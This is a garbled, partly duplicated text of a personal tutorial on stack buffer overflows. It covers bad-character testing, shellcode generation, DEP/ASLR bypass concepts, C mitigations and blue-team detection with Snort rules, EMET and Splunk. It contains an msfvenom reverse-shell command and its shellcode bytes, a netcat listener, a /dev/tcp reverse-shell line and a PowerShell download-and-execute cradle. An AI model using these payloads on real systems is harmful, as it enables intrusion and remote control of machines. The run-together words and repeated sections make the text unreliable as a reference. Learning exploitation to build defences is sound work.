1 EncodedHEXpayloadmalwarewithintheclientattack
2 Abunchofx90rsquoswithintheclientattack
3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal
If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have
SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from
bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit
generatedBSDshellcode
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)
content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416
classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment
Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at
2010_07_30updated_at2016_07_01)
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)
content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly
referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any
attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag
Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)
Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly
impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS
interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the
payloadsolargethattherulesareignoredduetoperformanceaswellSneaky
HostBasedDetection
In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and
made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer
OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean
Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas
netviewdomain
netuserdomain
netaccountsdomain
Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas
systeminfo
netlocalgroupldquoAdministratorsrdquo
uname-a
catprocissue
Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell
start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait
powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString
(http10022108081CodeExecutionInvoke-Shellcodeps1)
Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc
ENJOY
ReferencesandHonorableMentions
GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors
Whatwesentover
We go through each HEX character one by one and notice if any original character from the client payload are omittedgoofed up etc
etc This is a slow and tedious part of the process and arguably the best opportunity to learn We see a whole string of characters does
not ldquomatchrdquo So what happened The bad characters are reserved for various operations and memory locations If you send an OP
CODE for example then the machine will just process it ldquoas isrdquo not knowing that the characters you sent are part of a specific sequence
of characters to form a command In an environment where you are trying to encode BASH command or x86 x64 you will run into
various characters that your malware payloads canrsquot use If you donrsquot spend the time checking the memory dump for bad
charactersthenyouwillhavemanysadandlonelyhoursbehindthekeyboard
So we have to generate a payload that can omit bad characters Luckily we have a program to help us generate x86 shellcode and
omitcharacters
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
TestingforbadcharactersisthebestwayforyoutolearnthedebuggerassemblyandHEXYoucandoitatleasttwowaysthatIknow
ofhellip
1 UseagiantblobofallASCIcharactersinHEX
2 Generateacouplesimplepayloadsyouwanttoexecuteandwalkthroughthepayloadlinebyline
Howtotestforbadcharactersandotherassemblyandregisterissues
Terminal1Server1337
Terminal2edb(orGDBIwonrsquotjudge)
fromedbrarrattachrarrServer
fromedbrarrdebugrarrclickrunrarrclickrunagainrarrlookatbottompainandseeiftheprogramisrunning
Terminal3ExecutetheclientscriptwithyourmaliciouspayloadpadwithArsquosorNOPSsoyoucanldquoFindrdquoyourcodequicklyinmemory
Yoursquollbelookingforx41orx90rsquos
Option1-AlltheASCII
x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10
x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20
x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30
x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40
x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50
x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60
x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70
x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80
x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90
x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0
xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0
xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0
xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0
xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0
xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff
Option2-Testsomespecificcommands
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1
x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f
x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a
x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0
x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91
xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1
x7dxaaxa8x1cxfd
The-bx00x0ax0doptioninthecommandwillomitthex00rsquosfromtheoutputPreviouslyIpurposelyinsertedsomepeskyx00rsquosinto
thisshellcodeforillustrationTherealityisthatevenMSFVENOMmayoutputapayloadwithbadcharacterandyoustillneedtotest
Anothernoteisthattrytouseaverysimplepieceofmalwareforthefirstcodeexecution
ldquoThelargermoreadvancedthemalwareisinthebufferoverflowsthemorelikelyyouaretorunintobadcharacterandotherruntime
issuesitrsquosjustsimplemathhellipmorecharactersmorechancesforfailurerdquo
KeepitsimpleandsmallYoudonrsquotalwaysneedreverseshellsandmaybeyoucanrsquotuseareverseshellbecauseofbadcharactersor
hardeningRememberyoucanalwaysgetabiggerpayloadorbinarydowntothemachinewithasimpleTFTPGETCURLorECHO
commandLetrsquosruntheattackwiththebadcharactersomittedandseeifwecanlandashell
NewPayload
xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1
x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f
x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a
x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0
x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91
xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1
x7dxaaxa8x1cxfd
Enablenetcatonport4444(nc-lvp4444)
TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB
Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)
WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444
ClickldquoRunthroughprogramrdquobecauseyoumaybecaughtindebugmode
FinalResults
SuccessItlookslikethestackwasoverwrittenandwesuccessfullytoldEIPtopointintoourNOPSELDlocatedinESPFromthere
theCPUranthroughthememoryuntilitgotourmaliciouscodeThereverseshellcommandexecutedinthestackandconnectedback
toourldquoattackingrdquoterminal(farthestright)
CommonBufferOverflowExampleandMitigations(inC)
WhetheryourwritingsourceoryoujustreversedengineeredacompiledbinarywithGHIDRAyoumaywanttoknowwhichfunctionsare
morelikelytocauseanoverflowOlderClibraryfunctionslikestrcpy()strcat()sprintf()andvsprintf()operateonnullterminated
stringsandperformnoboundscheckingGets()isanotherfunctionthatreadsinput(intoabuffer)fromstdinuntilaterminatingnewline
orEOF(EndofFile)isfoundThescanf()familyoffunctionsalsomayresultinbufferoverflowsUsingstrncpy()strncat()snprintf()
andfgets()allmitigatethisproblembyspecifyingamaximumstringlengthofNHerersquosafewwelldocumentedexamplesIprovidedthe
assemblyinstructionstoillustratethatyoumightbeabletoreverseengineerwhereBOrsquospresentthemselvesfromobservingthe
registersofacompiledbinaryorreviewingtheoutputfromGHIDRA
gets
Thestdiogets()functiondoesnotcheckforbufferlengthandalwaysresultsinavulnerability
VulnerableCode(SOURCE)
printfexternallink(Inputsomethingnastyhere)
gets(something)
VulnerableCode(ASSEMBLY)
FixedCode
printfexternallink(Inputsomethingnastyhere)
fgets(usernameLENGTHstdin)
strcpy
Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone
contiguoustomemorywherethepayloadisstored
VulnerableCode
charstr1[10]
charstr2[]=badstuffhere
strcpy(str1str2)
FixedCode(SOURCE)
enumBUFFER_LIMIT=1024
intmain()
chardst[BUFFER_LIMIT]
charsrc[]=badstuffhere
intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)
if(buffer_lengthgt=BUFFER_LIMIT)
printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn
buffer_lengthBUFFER_LIMIT-1)
VulnerableCode(ASSEMBLY)
Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows
FixedCode(SOURCE)
enumBUFFER_BOUNDARY_SIZE=1024
charstr1[BUFFER_BOUNDARY_SIZE]
charstr2[]=badstuffhere
strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize
strcat
YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto
thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin
sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied
FixedCode(SOURCE)
defineBUFFER_BOUNDARY_SIZE1024
charbuff[BUFFER_BOUNDARY_SIZE]
Usesecurestrncpythenuse
strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)
buff[BUFFER_BOUNDARY_SIZE-1]=0
strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)
strcmp
ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach
otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot
validatethesizeoftheinputagainstthepredefinedbuffer
OtherMitigationstoBufferOverflows
During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable
ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the
following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits
need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my
own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the
newcomertodiptheirtoesintothesubjects
Canary
A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions
prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary
ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps
detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly
overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith
https0x00secorgtexploit-mitigation-techniques-stack-canaries5085
httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained
httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf
DEP-DataExecutionProtection
DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware
executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as
non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns
For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag
of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other
linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow
security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks
forroutineswithanytypeofbuffer
In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get
the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the
bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP
setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may
introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP
httpslwnnetArticles422487
httpslinuxdienetman8execstack
httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in
httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your
httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae
BypassingDEP
Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to
David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view
ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining
So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu
will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you
overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary
arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in
linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable
in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another
option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in
the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the
application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of
instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope
somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle
ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot
intendtohavethewordldquoheartrdquodidherdquo
Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your
payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP
gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET
instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps
An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute
ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script
which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1
But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it
difficulttocallexecve()orsystem()
Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove
found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create
a new executable space or change the flag for existing executable space However finding the memory addresses to these functions
andcallingthemappearstobeadifferentstory
httpsgithubcomJonathanSalwanROPgadget
httpswwwrapid7comresourcesrop-exploit-explained
httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf
httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf
httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi
ng-chains]pdf
ASLR(Addressspacelayoutrandomization)
Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation
BypassingASLR
Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and
windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible
chunksandhopefullythishelpsguidemyselfandotherfurtherstudies
NonASLRlinkedbinaries
It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with
some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something
that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR
enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the
memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program
with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass
ASLRandbeginaROPattack
httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf
httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf
PointerLeaksDanglingPointers
If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot
for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code
into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE
which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory
object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that
the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how
virtualfunctionsarereferencedviavirtualtables
httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf
httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf
httpswwwrapid7comresourceswhy-you-should-be-using-emet
HEAPSprayswithASLRdisabledVirtualAlloc()inWindows
If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create
write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can
either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by
VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this
seemslikejustplainluck
httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified
httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf
BlueteamEngineeringforpostBufferOverflow
For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just
learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos
are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues
SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to
Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I
thoughtthroughthisIlumpedthedetectionintotwobuckets
1 DetectingFailedBufferOverflowAttempts
2 DetectingSuccessfullyBufferOverflowAttempts
DetectingFailedBufferOverAttemptsinWindows
If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events
are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the
oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog
For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as
the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases
whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked
EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their
sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a
similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM
Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a
collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via
GPOetc
ltQueryListgt
ltQueryId=0Path=Applicationgt
ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt
ltQuerygt
ltQueryListgt
To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and
configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service
to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on
somepredefinedSplunkpolicy
Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an
exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog
The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server
BasicallythispolicysayswhichlogscangetsentontotheSIEM
[WinEventLogForwardedEvents]
disabled=0
renderXml=1
evt_resolve_ad_obj=1
The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to
and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk
queries
SampleEMETEvent
EMETversion55587131892
EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE
EAF+checkfailed
ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE
UserNameDOMAINuser
SessionID1
PID0x1348(4936)
TID0xF90(3984)
ModuleSOMEDLLdll
ModBase0x11630000
ModAddress0x11642E99
MemAddress0x76F501A4
Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to
prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may
need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice
beachheadtomaintainafoothold
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf
httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server
DetectingSuccessfulBufferOverAttempts
The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker
has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed
which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two
approachespaintsasolidpicture
1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)
2) Hostbasedsignaturedetection
NetworkBasedDetection
Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the
clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication
1 EncodedHEXpayloadmalwarewithintheclientattack
2 Abunchofx90rsquoswithintheclientattack
3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal
If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have
SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from
bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit
generatedBSDshellcode
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)
content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416
classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment
Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at
2010_07_30updated_at2016_07_01)
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)
content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly
referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any
attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag
Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)
Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly
impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS
interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the
payloadsolargethattherulesareignoredduetoperformanceaswellSneaky
HostBasedDetection
In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and
made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer
OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean
Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas
netviewdomain
netuserdomain
netaccountsdomain
Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas
systeminfo
netlocalgroupldquoAdministratorsrdquo
uname-a
catprocissue
Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell
start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait
powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString
(http10022108081CodeExecutionInvoke-Shellcodeps1)
Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc
ENJOY
ReferencesandHonorableMentions
